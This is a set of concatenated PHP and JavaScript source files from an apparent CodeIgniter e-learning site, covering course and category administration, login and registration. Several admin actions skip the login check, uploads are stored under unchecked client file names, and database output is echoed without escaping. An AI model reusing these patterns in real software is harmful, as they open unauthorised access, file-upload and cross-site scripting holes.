if(localStorage.getItem('fromcategory')==2){ var catid=localStorage.getItem('catid'); var cattitle=localStorage.getItem('cattitle') setcategoryurl(catid,cattitle); } else{ seturl(); } }); </script> <file_sep><?php namespace App\Controllers\Admin; use App\Controllers\BaseController; use App\Models\CategoriesModel; use CodeIgniter\HTTP\Response; class Categories extends BaseController { function __construct() { $this->session = \Config\Services::session(); $this->session->start(); } public function index() { if (session('login')){ $obj=new CategoriesModel(); $selected_data['Categories']=$obj->selectallCategories(); $this->loadview('admin/categories/index','Categories',$selected_data); } else { echo "you cant login to this page"; } } //_____________________________________________________________________________________________________________________________ public function add() { if ( strtolower( $_SERVER['REQUEST_METHOD']) == 'post' ){ $cat_name = $this->request->getPost('catname'); $is_show=$this->request->getPost('catshow'); $rules = [ 'catname'=> [ 'label' => 'category name', 'rules' => 'required|trim|is_unique[categories.category_name]|alpha_numeric_space|max_length[100]' ], ]; if (!$this->validate($rules)) { $cat_errors=$this->validator->getErrors(); foreach ($cat_errors as $error) : $isfail=$error; endforeach; echo "$isfail..."; } else{ $obj=new CategoriesModel(); $obj->add($cat_name, $is_show); echo true; }//end else error }//end if post } //______________________________________________________________________________________________________________________________________ public function edit(){ if ( strtolower( $_SERVER['REQUEST_METHOD']) == 'post' ){ $catid= $this->request->getPost('categoryid'); $catname = $this->request->getPost('catname'); $is_show=$this->request->getPost('catshow'); $rules = [ 'catname'=> [ 'label' => 'category name', 'rules' => "required|trim|alpha_numeric_space|max_length[100]|is_unique[categories.category_name,categoryid,$catid]", ], ]; if (!$this->validate($rules)) { $cat_errors=$this->validator->getErrors(); foreach ($cat_errors as $error) : $isfail=$error; endforeach; echo "$isfail"; } else{ $obj=new CategoriesModel(); $obj->editCategory($catid,$catname, $is_show); echo true; }//end else error }//end if post } //________________________________________________________________________________________________________________________ public function getdata(){ if (strtolower( $_SERVER['REQUEST_METHOD']) == 'post' ) { $categoryid = $this->request->getPost('categoryid'); $obj=new CategoriesModel(); $selected_data=$obj->getCategoryRow($categoryid); echo json_encode($selected_data);; } } //_________________________________________________________________________________________________________________________________________ public function delete(){ if (strtolower( $_SERVER['REQUEST_METHOD']) == 'post' ) { $catname = $this->request->getPost('categoryid'); $obj=new CategoriesModel(); $data=$obj->deleteCategory($catname); echo $data; } } //____________________________________________________________________________________________________________________________ } ?><file_sep><?php namespace App\Controllers; use App\Models\coursesModel; use App\Models\UsersModel; class Home extends BaseController { function __construct() { $this->session = \Config\Services::session(); $this->session->start(); } public function index() { $obj=new coursesModel(); $selected_data['courses']=$obj->newestCourses(); $this->loadview('shared/home',"",$selected_data); } public function search(){ if (strtolower( $_SERVER['REQUEST_METHOD']) == 'post' ) { $course_title = $this->request->getPost('title'); $obj=new coursesModel(); echo json_encode($obj->searchBytitle($course_title)); } } //________________________________________________________________________________________________________________ public function login(){ if (strtolower( $_SERVER['REQUEST_METHOD']) == 'post' ) { $user_email = $this->request->getPost('uemail'); $user_pwd = $this->request->getPost('upwd'); $obj=new UsersModel(); $data=$obj->login($user_email,$user_pwd); if($data["err"]==0){ $this->session->set('login',true); $name="Welcome ".$data["fname"]; $this->session->set('uname',$name); if($data["is_admin"]==1) { $this->session->set('adminlayout',true); } } echo json_encode($obj->login($user_email,$user_pwd)); } } //_______________________________________________________________________________________________ public function logout(){ $this->session->destroy(); return redirect()->to(base_url('Home/index')); } //___________________________________________________________________________________________________________ } ?><file_sep> <div class="body-content " > <div id="carouselExampleControls" class="carousel slide " data-ride="carousel"> <div class="carousel-inner slider"> <div class="carousel-item active "> <img src="https://voice.lifewest.edu/wp-content/uploads/2021/04/welcome.jpg" class="img-thumbnail sliderImage rounded mx-auto d-block mt-3 mb-3" alt="Welcome"> </div> <?php foreach ($courses as $course) { ?> <div class="carousel-item text-center"> <?php $courseid=$course["course_id"]; $coursetitle=$course["title"]; $categoryid=$course["categoryid"];?> <a class="nav-link nav-custom-link set-item-center"href="<?php echo base_url("Users/singleCourse/index/?courseid=$courseid&coursetitle=$coursetitle&categoryid=$categoryid");?>"> <span class="mb-5 "><?php echo $course["title"]; ?></span> <img src="<?php echo $course["img_path"]; ?>" class=" img-thumbnail sliderImage rounded mx-auto d-block mb-3" alt="<?php echo $course["title"]; ?>" > </a> </div> <?php }?> </div> <a class="carousel-control-prev" href="#carouselExampleControls" role="button" data-slide="prev"> <span class="carousel-control-prev-icon" aria-hidden="true"></span> <span class="sr-only">Previous</span> </a> <a class="carousel-control-next" href="#carouselExampleControls" role="button" data-slide="next"> <span class="carousel-control-next-icon" aria-hidden="true"></span> <span class="sr-only">Next</span> </a> </div> </div> <file_sep><?php echo view('Views/Admin/adminlayout');?> <div class="body-content "> <!--________________________________________________________________________________________________________________--> <!-- Button trigger modal for add new user --> <a type="button" class="col-12 nav-link text-center nav-custom-link nav-link-bc adduser" data-toggle="modal" data-target="#Usersmodal"> Add new User </a> <!--________________________________________________________________________________________________________________--> <!--list user--> <div class="table-res " > <table class="w-100 mt-2 "> <thead class="categories-table-thead"> <tr> <th class="d-none">Id</th> <th class="">Name</th> <th class="">Email</th> <th class="">Is suspend</th> <th class="">Edit</th> </tr> </thead> <tbody > <?php foreach ($Users as $User) { ?> <tr class="categories-table-row" id="<?php echo $User["id"]; ?>"> <td class="d-none"><?php echo $User["id"]; ?></td> <td class=""><?php echo ($User["fname"] ." ".$User["lname"]); ?></td> <td class=""><?php echo $User["email"]; ?></td> <td class=""><?php if($User["is_suspend"]==1)echo 'yes'; else echo 'no'; ?></td> <td class=""> <a type="button" class="fas fa-edit nav-link text-center nav-custom-link nav-link-bc edituser" data-toggle="modal" data-target="#Usersmodal"></a> </td> </tr> <?php }?> </tbody> </table> </div> </div> <!--_________________________________________________________________________________________________________________________--> <div class="modal fade" id="Usersmodal" data-backdrop="static" data-keyboard="false" tabindex="-1" aria-labelledby="users" aria-hidden="true"> <?php echo view('Views/shared/Register');?> </div> <!--_____________________________________________________________________________________________________________________---> <script> //hide edit button when click save button $(".adduser").click(function(){ var x = document.getElementById("edit"); x.style.display = "none"; var catId = document.getElementById("userid"); catId.style.display = "none"; $('#title').html("Add users"); }); //----------------------------------------------------------------------- $('.add').click(function() { newUser(1,"Added Successfully "); });//end add //__________________________________________________________________________________________________________________________ //_______________________________________________________________________________________________________________________________ //hide add button when click edit button and get data $(".edituser").click(function(){ var x = document.getElementById("add"); x.style.display = "none"; var catId = document.getElementById("userid"); catId.style.display = "none"; $('#title').html("Edit users"); var uid = $(this).parents("tr").attr("id"); $('.modal .uid').val(uid); $.ajax({ url: "<?php echo base_url('Admin/Users/getdata'); ?>", type: 'post', data:{uid:uid,}, error: function() { alert('error'); }, success: function(data) { var array = JSON.parse(data); $('.modal .fname').val(array["fname"]); $('.modal .lname').val(array["lname"]); $('.modal .email').val(array["email"]); if(array["is_suspend"]!=0) $('.modal .show').attr('checked', true); } }); }); //--------------------------------------------------------- $('.edit').click(function() { event.preventDefault(); var uid=$('.uid').val(); var fname=$('.fname').val(); var lname=$('.lname').val(); var email=$('.email').val(); var password=$('.pwd').val(); var cpassword=$('.cpassword').val(); var suspend=$('#show').is(':checked') ; var issuspend; if(suspend){ issuspend='on'; }else issuspend='off'; $.ajax({ type: 'POST', url:"<?php echo base_url('Admin/Users/edit');?>" , data: { uid:uid, fname:fname, lname:lname, email:email, password:<PASSWORD>, cpassword:<PASSWORD>, suspend:issuspend, }, success: function(issuccess) { if(issuccess==true){ $('.message').html("Updated Successfully"); $('.name_error').html(''); } else{ var array = JSON.parse(issuccess) var errors=''; if(array['fname']!=null) errors=array['fname']+"<br>"; if(array['lname']!=null) errors=errors+array['lname']+"<br>"; if(array["email"]!=null) errors=errors+array["email"]+"<br>"; if(array["password"]!=null) errors=errors+array["password"]+"<br>"; if(array["cpassword"]!=null) errors=errors+array["cpassword"]+"<br>"; $('.merror').html(errors); $('.success').html('') ; } }, error: function(){alert('not sent');}, });//end ajax });//end onclik function welcomeUser(){ var login=document.getElementById("log"); login.style.display="red"; } window.onload=welcomeUser(); //________________________________________________________________________________________________________________________________ </script> <file_sep><?php namespace App\Models; use CodeIgniter\Model; class CategoriesModel extends Model { public function __construct() { $this->db = \Config\Database::connect(); $this->builder = $this->db->table('categories'); $this->builder2 = $this->db->table('courses'); } //_____________________________________________________________________________________________________________________________________________ public function selectallCategories(){ return $this->builder->get()->getResultArray(); } //_____________________________________________________________________________________________________________________________________________________ public function add($name,$show){ if($show =='on') { $show=1;} else{ $show=0; } $array = [ 'category_name' => $name, 'is_show'=> $show, ]; $this->builder->insert($array); }//end add //__________________________________________________________________________________________________________________________ public function getCategoryRow($categoryid){ $this->builder->where('categoryid ', $categoryid); $data=$this->builder->get()->getRowArray(); return $data; } //___________________________________________________________________________________________________________________________________________________ public function deleteCategory($categoryid){ $this->builder2->where('categoryid ', $categoryid); $data=$this->builder2->get()->getRowArray(); if($data==null){ $this->builder->where('categoryid ', $categoryid); if($this->builder->delete()) return true; } else{ return false; } } //__________________________________________________________________________________________________________________________ public function editCategory($cid,$catname,$show){ if($show =='on') { $show=1;} else{ $show=0; } $array = [ 'categoryid' => $cid, 'category_name' => $catname, 'is_show'=> $show, ]; $this->builder->where('categoryid', $cid); $this->builder->update($array); } //_________________________________________________________________________________________________________________________ }//end class <file_sep><?php echo view('Views/Admin/adminlayout');?> <!--for dashboard content___________________________________________________________________________________________--> <div class="body-content"> <!--________________________________________________________________________________________________________________--> <!-- Button trigger modal for add new course --> <a type="button" class="col-12 nav-link text-center nav-custom-link nav-link-bc addcourse" data-toggle="modal" data-target="#coursemodal"> Add new Course </a> <!--________________________________________________________________________________________________________________--> <!--list courses--> <div class="table-res" > <table class="w-100 mt-2"> <thead class="categories-table-thead"> <tr> <th class="d-none">Id</th> <th class="">title</th> <th class="">Description</th> <th class="">category</th> <th class="">Is show</th> <th class="">Edit</th> <th class="">Delete</th> </tr> </thead> <tbody > <?php foreach ($courses as $course) { ?> <tr class="categories-table-row"id="<?php echo $course["course_id"]; ?>"> <td class="d-none" ><?php echo $course["course_id"]; ?></td> <td class=""><?php echo $course["title"]; ?></td> <td class=""><?php echo $course["description"]; ?></td> <td class=""><?php echo $course["category_name"]; ?></td> <td class=""><?php if($course["is_hide"]==1)echo 'yes'; else echo 'no'; ?></td> <td class=""><a type="button" class="nav-link nav-custom-link nav-link-bc fas fa-edit editcourse" data-toggle="modal" data-target="#coursemodal"></a></td> <td class=""><a href="#"class="delete fas fa-trash nav-link nav-custom-link nav-link-bc "> </a></td> </tr> <?php }?> </tbody> </table> </div> <!--_________________________________________________________________________________________________________________________--> <!-- Add course Modal --> <div class="modal fade" id="coursemodal" data-backdrop="static" data-keyboard="false" tabindex="-1" aria-labelledby="AddNewCategory" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content custom-modal "> <div id="" class=" mt-1 text-success text-center message msuccess"></div> <div id="" class="text-danger text-center mt-2 name_error merror"></div> <div class="m-header text-center pt-1"> <h5 class="modal-title lbl" id="title"></h5> </div> <form enctype="multipart/form-data"> <div class="m-body p-3 "> <div class="form-group"> <label for="coursetitle" class="required lbl">Course Title</label> <input type="text" class="form-control title" id="coursetitle" placeholder="Course title"> </div> <div class="form-group" > <label for="coursedesc" class="required lbl">Course description</label> <textarea class="form-control desc" id="coursedesc" rows="3"></textarea> </div> <div class="form-group"> <label for="coursecat"class="required catname lbl">Course category</label> <select class="form-control coursecat" id="coursecat"> <?php foreach ($Categories as $category) { ?> <option><?php echo $category["category_name"]; ?></option> <?php }?> </select> </div> <div class="form-group"> <label for="coursevl"class="required lbl">video link</label> <input type="text" class="form-control vlink" id="coursevl" placeholder="video link"> </div> <div class="form-group"> <label for="courseIl"class="required lbl">image link</label> <input type="text" class="form-control Ilink" id="courseIl" placeholder="Image link"> </div> <div class="form-group"> <label for="coursefile" class="required lbl">pdf file</label> <input type="file" name="file" accept=".pdf" class="form-control-file pdffile" id="file"> <span class="fileuploaded"> </span> </div> <div class="form-group"> <div class="input-group mb-3"> <div class="custom-control custom-switch "> <input class="form-check-input show" name="catshow" type="checkbox" id="show" > <label class="form-check-label show lbl" for="show" >show in public website</label> </div> </div> </div> <input type="text" class="form-control courseid" id="courseid"> <div class="m-footer pb-1 pt-1 text-center"> <button type="submit" class="btn cls " data-dismiss="modal" onclick="javascript:window.location.reload()">Close</button> <button type="submit" class="btn save add" name="add" id="add" >Save Add</button> <button type="submit" class="btn save edit" name="edit" id="edit" >Save edit</button> </div> </form> </div> </div> </div> </div> <!--________________________________________________________________________________________________________--> <script> //_____________________________________________________________________________________________ //hide edit button when click save button $(".addcourse").click(function(){ var x = document.getElementById("edit"); x.style.display = "none"; var courseId = document.getElementById("courseid"); courseId.style.display = "none"; $('#title').html("Add Course"); }); //-------------------------------------------------------------------------------------------------------- $('.add').click(function() { event.preventDefault(); var title=$('.title').val().trim(); var desc=$('.desc').val().trim(); var vlink=$('.vlink').val().trim(); var Ilink=$('.Ilink').val().trim(); var pdffile=$('.pdffile').val().trim(); var coursecat=$('.coursecat').val().trim(); var isHide; if($('#show').is(':checked')){ isHide='on'; }else isHide='off'; var fd = new FormData(); var files = $('.pdffile')[0].files; fd.append('title',title); fd.append('desc',desc); fd.append( 'vlink',vlink); fd.append('Ilink',Ilink,); fd.append('coursecat',coursecat); fd.append('isHide',isHide); fd.append('pdffile',pdffile); if(files.length > 0 ){ fd.append('file',files[0]);} $.ajax({ url:"<?php echo base_url('Admin/courses/add');?>" , type: 'post', data: fd, contentType: false, processData: false, success: function(issuccess) { if(issuccess==true){ $('.msuccess').html("Added Successfully "); $('.merror').html(''); } else{ var array = JSON.parse(issuccess) var errors=''; if(array['title']!=null) errors=array['title']+"<br>"; if(array['desc']!=null) errors=errors+array['desc']+"<br>"; if(array["vlink"]!=null) errors=errors+array["vlink"]+"<br>"; if(array["Ilink"]!=null) errors=errors+array["Ilink"]+"<br>"; if(array["pdffile"]!=null) errors=errors+array["pdffile"]+"<br>"; $('.merror').html(errors); $('.success').html('') ; } }, error: function(){alert('not sent');}, });//end ajax });//end onclik //____________________________________________________________________________________________________________________ $(".editcourse").click(function(){ var save = document.getElementById("add"); save.style.display = "none"; var courseid = document.getElementById("courseid"); courseid.style.display = "none"; $('#title').html("Edit Course"); var cid = $(this).parents("tr").attr("id"); $('#courseid').val(cid); $.ajax({ url: "<?php echo base_url('Admin/courses/getdata'); ?>", type: 'post', data:{cid:cid,}, error: function() { alert('not sent'); }, success: function(data) { var array = JSON.parse(data); $('.modal .title').val(array["title"]); $('.modal .desc').val(array["description"]); $('.modal .vlink').val(array["video_link"]); $('.modal .Ilink').val(array["img_path"]); $('.modal .coursecat').val(array["category_name"]); // $('.modal .fileuploaded').html(array["pdf_path"]); if(array["is_hide"]!=0) $('.modal .show').attr('checked', true); } }); }); //----------------------------------------------------------------------------------------------------------------- $('.edit').click(function() { event.preventDefault(); var cid=$('.courseid').val().trim(); var title=$('.title').val().trim(); var desc=$('.desc').val().trim(); var vlink=$('.vlink').val().trim(); var Ilink=$('.Ilink').val().trim(); var pdffile=$('.pdffile').val().trim(); var coursecat=$('.coursecat').val().trim(); var isHide; if($('#show').is(':checked')){ isHide='on'; }else isHide='off'; var fd = new FormData(); var files = $('.pdffile')[0].files; fd.append('title',title); fd.append('desc',desc); fd.append( 'vlink',vlink); fd.append('Ilink',Ilink,); fd.append('coursecat',coursecat); fd.append('isHide',isHide); fd.append('pdffile',pdffile); fd.append('cid',cid); if(files.length > 0 ){ fd.append('file',files[0]);} $.ajax({ url:"<?php echo base_url('Admin/courses/edit');?>" , type: 'post', data: fd, contentType: false, processData: false, success: function(issuccess) { if(issuccess==true){ $('.msuccess').html("Added Successfully "); $('.merror').html(''); } else{ var array = JSON.parse(issuccess) var errors=''; if(array['title']!=null) errors=array['title']+"<br>"; if(array['desc']!=null) errors=errors+array['desc']+"<br>"; if(array["vlink"]!=null) errors=errors+array["vlink"]+"<br>"; if(array["Ilink"]!=null) errors=errors+array["Ilink"]+"<br>"; $('.merror').html(errors); $('.success').html('') ; } }, error: function(){alert('not sent');}, });//end ajax });//end onclik //__________________________________________________________________________________________________________________________ $(".delete").click(function(){ var id = $(this).parents("tr").attr("id"); if(confirm('Are you sure to delete this course ?')) { $.ajax({ url:"<?php echo base_url('Admin/courses/delete');?>", type: 'post', data:{ id:id }, success: function(data) { if(data) { $("#"+id).remove(); alert("Course deleted successfully"); window.location.reload() ; } else alert("there is an error"); }, error: function() { alert('not send'); }, }); } }); //_________________________________________________________________________________________________________ </script> <file_sep><script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.validate.js"></script> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content custom-modal "> <div id="" class=" mt-1 text-success text-center message msuccess"></div> <div id="" class="text-danger text-center mt-2 name_error merror"></div> <div class="m-header text-center pt-1"> <h5 class="modal-title lbl " id="title"></h5> </div> <form action="" class="registration"> <div class="m-body p-3 "> <div class="form-group"> <label for="fname" class="required lbl">First name </label> <input type="text" class="form-control fname" id="fname" placeholder="First name" name="fname"> </div> <div class="form-group"> <label for="lname" class="required lbl">Last name </label> <input type="text" class="form-control lname" id="lname" placeholder="Last name " name="lname"> </div> <div class="form-group"> <label for="email"class="required lbl">Email</label> <input type="email" class="form-control email" id="email" placeholder="email" name="email"> </div> <div class="form-group"> <label for="pwd" class="required lbl">Passowrd</label> <input type="password" class="form-control pwd" id="pwd" placeholder="<PASSWORD>" name="pwd"> </div> <div class="form-group"> <label for="cpwd" class="required lbl ">Confirm Passowrd</label> <input type="password" class="form-control cpassword" id="cpwd" placeholder="confirm passowrd" name="cpwd"> </div> <div class="form-group"> <div class="input-group mb-3"> <div class="custom-control custom-switch "id="tog"> <input class="form-check-input show" name="catshow" type="checkbox" id="show" > <label class="form-check-label lbl" for="show" >susspend</label> </div> </div> </div> <input type="text" class="form-control uid " id="userid"> </div> <div class="m-footer pb-1 text-center"> <button type="button" class="btn cls " data-dismiss="modal" onclick="javascript:window.location.reload()">close</button> <button type="submit" class="btn save add" name="add" id="add" >Register</button> <button type="button" class="btn save edit" name="edit" id="edit" >Save edit</button> </div> </form> </div> </div> <!--______________________________________________________________________________________________________-----> <script> function newUser(byadmin,message){ $.validator.addMethod("alphaspace", function(value, element) { var regex = new RegExp(/^[a-zA-Z\s]+$/); return value.match(new RegExp(regex)); }); $(".registration").validate({ rules: { fname: {required: true, alphaspace: true, }, lname: {required: true, alphaspace: true, }, email: { required: true, email: true }, pwd:{ required: true, minlength:4, maxlength:24, }, cpwd: { equalTo: ".pwd" }, }, messages: { fname: {required:"Please enter your firstname", alphaspace:"The first name must contain alpha characters and space only" }, lname: {required:"Please enter your lastname", alphaspace:"The last name must contain alpha characters and space only" }, email: {required:"Please enter email", email:"email not valid ", }, pwd: {required:"Please enter password", minlength:"must be 4 charachters at least ", maxlength:"must be less than 24 charachters ", }, cpwd: {equalTo:"password and confirm password not matches"} }, submitHandler: function(form) { event.preventDefault(); var firstname=$('.fname').val().trim(); var lastname=$('.lname').val().trim(); var email=$('.email').val().trim(); var password=$('.pwd').val().trim(); var confirmpassword=$('.cpassword').val().trim(); var isHide; if($('.show').is(':checked')){ isactive='on'; }else isactive='off'; $.ajax({ type: 'POST', url:"<?php echo base_url('Admin/Users/add');?>" , data: { fname:firstname, lname:lastname, email:email, password:<PASSWORD>, cpassword:<PASSWORD>, suspend:isactive, add:byadmin, }, success: function(issuccess) { if(issuccess==true){ $('.msuccess').html(message); $('.merror').html(''); } else{ var array = JSON.parse(issuccess) var errors=''; if(array['fname']!=null) errors=array['fname']+"<br>"; if(array['lname']!=null) errors=errors+array['lname']+"<br>"; if(array["email"]!=null) errors=errors+array["email"]+"<br>"; if(array["password"]!=null) errors=errors+array["password"]+"<br>"; if(array["cpassword"]!=null) errors=errors+array["cpassword"]+"<br>"; $('.merror').html(errors); $('.msuccess').html('') ; } }, error: function(){alert('not sent');}, });//end ajax //___________________________________________ },//end submit handler });//end form validate } </script> <file_sep><?php namespace App\Controllers; namespace App\Controllers\Users; use App\Controllers\BaseController; use App\Models\coursesModel; class singleCourse extends BaseController { public function index(){ $courseid= $this->request->getGet('courseid'); $coursetitle=$this->request->getGet('coursetitle'); $categoryid=$this->request->getGet('categoryid'); $obj=new coursesModel(); $selected_data['relatedcourse']=$obj->coursesInCategory($categoryid); $selected_data['course']=$obj->getCourseRow($courseid); $this->loadview('Users/Singlecourse',$coursetitle." and related courses",$selected_data); } } ?><file_sep><?php namespace App\Models; use CodeIgniter\Model; class coursesModel extends Model { public function __construct() { $this->db = \Config\Database::connect(); $this->builder = $this->db->table('courses'); $this->builder2 = $this->db->table('categories'); } //______________________________________________________________________ //use by admin course page to select all category public function selectcourses(){ $this->builder->join('categories', 'courses.categoryid = categories.categoryid'); return $this->builder->get()->getResultArray(); } //__________________________________________________________________________________________________ //use in user page to view courses public function selectallcourses($limit_num,$sortorder,$sortby,$offsetval){ $this->builder->where('is_hide ',1); $this->builder->join('categories', 'courses.categoryid = categories.categoryid'); $this->builder->orderBy($sortby,$sortorder); return $this->builder->limit($limit_num,$offsetval)->get()->getResultArray(); } //_____________________________________________________________________________________________________________________________________________________ public function add($title,$desc,$vlink,$Ilink,$pdffile,$coursecat,$isHide,$date,$number_of_enrolment){ if($isHide =='on') { $isHide=1;} else{$isHide=0;} $this->builder2->where('category_name',$coursecat); $category=$this->builder2->get()->getRowArray(); $categoruId=$category['categoryid']; $array = [ 'categoryid' => $categoruId, 'description' => $desc, 'img_path' => $Ilink, 'is_hide' => $isHide, 'pdf_path' => $pdffile, 'title' => $title, 'video_link' => $vlink, 'date' => $date, 'number_of_enrolment' => $number_of_enrolment, ]; $this->builder->insert($array); //return("$categoruId,10,$desc,$Ilink,$isHide,$pdffile,$title,$vlink"); } //_______________________________________________________________________________________ public function deleteCourse($id){ $this->builder->where('course_id', $id); if($this->builder->delete()) return true; } //______________________________________________________________________________________________ public function getCourseRow($courseid){ $this->builder->where('courses.course_id', $courseid); $this->builder->join('categories', 'courses.categoryid = categories.categoryid'); $data=$this->builder->get()->getRowArray(); return $data; } //_____________________________________________________________________________________ public function coursesInCategory($categoryid){ $this->builder->where('is_hide ',1); $this->builder->where('categories.categoryid', $categoryid); $this->builder->join('categories', 'courses.categoryid = categories.categoryid'); return $this->builder->get()->getResultArray(); } //________________________________________________________________________________________ public function edit($title,$desc,$vlink,$Ilink,$save_path,$coursecat,$isHide,$date,$cid){ if($isHide =='on') { $isHide=1;} else{ $isHide=0; } $this->builder2->where('category_name',$coursecat); $category=$this->builder2->get()->getRowArray(); $categoruId=$category['categoryid']; $array = [ 'categoryid' => $categoruId, 'description' => $desc, 'img_path' => $Ilink, 'is_hide' => $isHide, 'pdf_path' => $save_path, 'title' => $title, 'video_link' => $vlink, 'date' => $date, ]; $this->builder->where('course_id', $cid); $this->builder->update($array); } //____________________________________________________________________________________________ public function newestCourses(){ $this->builder->orderBy('date','DESC'); return $this->builder->limit(20,0)->get()->getResultArray(); } //____________________________________________________________________________________________ public function searchBytitle($title){ $this->builder->where('title', $title); $data=$this->builder->get()->getRowArray(); return $data; } //_________________________________________________________________________________________________ //use for user category page public function scoursesInCategory($categoryid,$limitnum,$sortorder,$sortby,$offsetval){ $this->builder->where('is_hide ',1); $this->builder->where('categories.categoryid', $categoryid); $this->builder->join('categories', 'courses.categoryid = categories.categoryid'); $this->builder->orderBy($sortby,$sortorder); return $this->builder->limit($limitnum,$offsetval)->get()->getResultArray(); } //_____________________________________________________________________________________________________ public function countofrows(){ $this->builder->where('is_hide ',1); return $this->builder->countAllResults(); } //________________________________________________________________________ public function countofrowsincategory($categoryid){ $this->builder->where('categories.categoryid', $categoryid); $this->builder->join('categories', 'courses.categoryid = categories.categoryid'); return $this->builder->countAllResults(); } }?><file_sep><div class="modal-dialog modal-dialog-centered" > <div class="modal-content custom-modal "> <div id="" class=" mt-1 text-danger text-center merror "></div> <div class="m-header text-center pt-5"> <h5 class="modal-title lbl" id="staticBackdropLabel">Login </h5> </div> <form id="loginform"> <div class="m-body p-5 "> <div class="form-group"> <label for="email"class="required lbl">Email</label> <input type="email" class="form-control uemail" id="email" placeholder="email" name="uemail"> </div> <div class="form-group"> <label for="pwd" class="required lbl">Passowrd</label> <input type="<PASSWORD>" class="form-control upwd" id="pwd" placeholder="<PASSWORD>" name="upwd"> </div> <div class="form-group lbl"> <lable >Don't have an account yet?</lable> <a type="button" class="nav-custom-link userRegister" data-toggle="modal" id="myBtn" data-target="#register" > Sign up </a> </div> <div class="m-footer pb-5 text-center"> <button type="button" class="btn cls " data-dismiss="modal">Close</button> <button type="button" class="btn save login">login </button> </div> </form> </div> </div> <!--____________________________________________________________________________________________________________--> <div class="modal fade" id="register" data-backdrop="static" data-keyboard="false" tabindex="-1" aria-labelledby="users" aria-hidden="true"> <?php echo view('Views/Users/Register');?> </div> <!--_________________________________________________________________________________________________________________________--> <script> $("#myBtn").click(function(){ $("#login").modal("hide"); }); //_______________________________________________________________________________________________ $(".login").click(function(){ var user_email=$('.uemail').val().trim(); var user_pwd=$('.upwd').val().trim(); $.ajax({ url:"<?php echo base_url('Home/login');?>", type: 'post', data:{ uemail:user_email, upwd:<PASSWORD>, }, success: function(data) { var array = JSON.parse(data); if(array["err"]==3) $('.merror').html("We couldn't sign you in, Email is incorrect"); else{ if(array["err"]==2) $('.merror').html("We couldn't sign you in, password is incorrect"); else{ if(array["err"]==1) $('.merror').html("We couldn't sign you in, youre account is suspend"); else { if(array["is_admin"]==1){ var admin_dashboard ="<?php echo base_url('Admin/Users');?>"; user_email.value=array["id"]; document.getElementById("loginform").action = admin_dashboard; document.getElementById("loginform").method ='post'; document.getElementById("loginform").submit(); }//login as admin else{ var admin_dashboard ="<?php echo base_url('Home/index');?>"; document.getElementById("loginform").action = admin_dashboard; document.getElementById("loginform").method ='post'; document.getElementById("loginform").submit(); }//login as user }//succsess login }//emial }//pwd }, error: function() { alert('not send'); }, }); }); </script> <file_sep><?php echo view('Views/Admin/adminlayout');?> <div class="body-content"> <div class="table-res " > <table class="w-100 mt-2 "> <thead class="categories-table-thead"> <tr> <th class="d-none">Id</th> <th class="">Name</th> <th class="">Email</th> <th class="">Click to Approve registration</th> </tr> </thead> <tbody > <?php foreach ($Users as $User) { ?> <tr class="categories-table-row" id="<?php echo $User["id"]; ?>" em="<?php echo $User["email"]; ?>"> <td class="d-none"><?php echo $User["id"]; ?></td> <td class=""><?php echo ($User["fname"] ." ".$User["lname"]); ?></td> <td class="" ><?php echo $User["email"]; ?></td> <td class=""> <a type="button" class="fas fa-check-circle nav-link text-center nav-custom-link nav-link-bc approveaccount"></a> </td> </tr> <?php }?> </tbody> </table> </div> </div> <!--_______________________________________________________________________________________________________________--> <script> $(".approveaccount").click(function(){ var uid = $(this).parents("tr").attr("id"); var email = $(this).parents("tr").attr("em"); $.ajax({ url: "<?php echo base_url('Admin/Users/approveAccount'); ?>", type: 'post', data:{uid:uid, email:email, }, error: function() { alert('not send'); }, success: function(data) { alert("Accout approved successfully"); window.location.reload(); } }); }); </script><file_sep><?php namespace App\Controllers\Admin; use App\Controllers\BaseController; use App\Models\coursesModel; use App\Models\CategoriesModel; class Courses extends BaseController { function __construct() { $this->session = \Config\Services::session(); $this->session->start(); } public function index(){ if (session('login')){ $obj=new coursesModel(); $selected_data['courses']=$obj->selectcourses(); $obj=new CategoriesModel(); $selected_data['Categories']=$obj->selectallCategories(); $this->loadview('admin/courses/index','Courses',$selected_data);} else { echo "you cant login to this page"; } } //________________________________________________________________________________________________________________________ public function add(){ if ( strtolower( $_SERVER['REQUEST_METHOD']) == 'post' ){ $title= $this->request->getPost('title'); $desc=$this->request->getPost('desc'); $vlink= $this->request->getPost('vlink'); $Ilink=$this->request->getPost('Ilink'); $file= $this->request->getPost('pdffile');//'c:\fakepath\filename.pdf $coursecat=$this->request->getPost('coursecat'); $isHide=$this->request->getPost('isHide'); $date=date("Y-m-d h:i:s"); $number_of_enrolment=0; $rules = [ 'title' =>[ 'label' => 'title', 'rules' => 'required|alpha_space|is_unique[courses.title]' ], 'desc' =>[ 'label' => 'description', 'rules' => 'required' ], 'vlink' => [ 'label' => 'video link', 'rules' => 'required' ], 'Ilink' => [ 'label' => 'course image link', 'rules' => 'required' ], 'pdffile' => [ 'label' => 'pdf file', 'rules' => 'required' ], ]; if (!$this->validate($rules)) { $errors=$this->errors = $this->validator->getErrors(); echo json_encode($errors);; }else{ $uploade_file=$_FILES["file"]["name"]; $filedest='public/uploads/' . $uploade_file; move_uploaded_file($_FILES["file"]["tmp_name"], "../public/uploads/" .$_FILES["file"]["name"]); $save_path="C:/wamp64/www/e_learning/" . $filedest; $obj=new coursesModel(); $obj->add($title,$desc,$vlink,$Ilink,$uploade_file,$coursecat,$isHide,$date,$number_of_enrolment); echo true; } }//end if post } //________________________________________________________________________________________________________________________ public function edit(){ if ( strtolower( $_SERVER['REQUEST_METHOD']) == 'post' ){ $cid= $this->request->getPost('cid'); $title= $this->request->getPost('title'); $desc=$this->request->getPost('desc'); $vlink= $this->request->getPost('vlink'); $Ilink=$this->request->getPost('Ilink'); $file= $this->request->getPost('pdffile'); $coursecat=$this->request->getPost('coursecat'); $isHide=$this->request->getPost('isHide'); $date=date("Y-m-d h:i:s"); $rules = [ 'title' =>[ 'label' => 'title', 'rules' => 'required|alpha_space|is_unique[courses.title,course_id,'.$cid.']' ], 'desc' =>[ 'label' => 'description', 'rules' => 'required' ], 'vlink' => [ 'label' => 'video link', 'rules' => 'required' ], 'Ilink' => [ 'label' => 'course image link', 'rules' => 'required' ], ]; if (!$this->validate($rules)) { $errors=$this->errors = $this->validator->getErrors(); echo json_encode($errors);; }else{ $obj=new coursesModel(); if($file==null){ $selected_data=$obj->getCourseRow($cid); 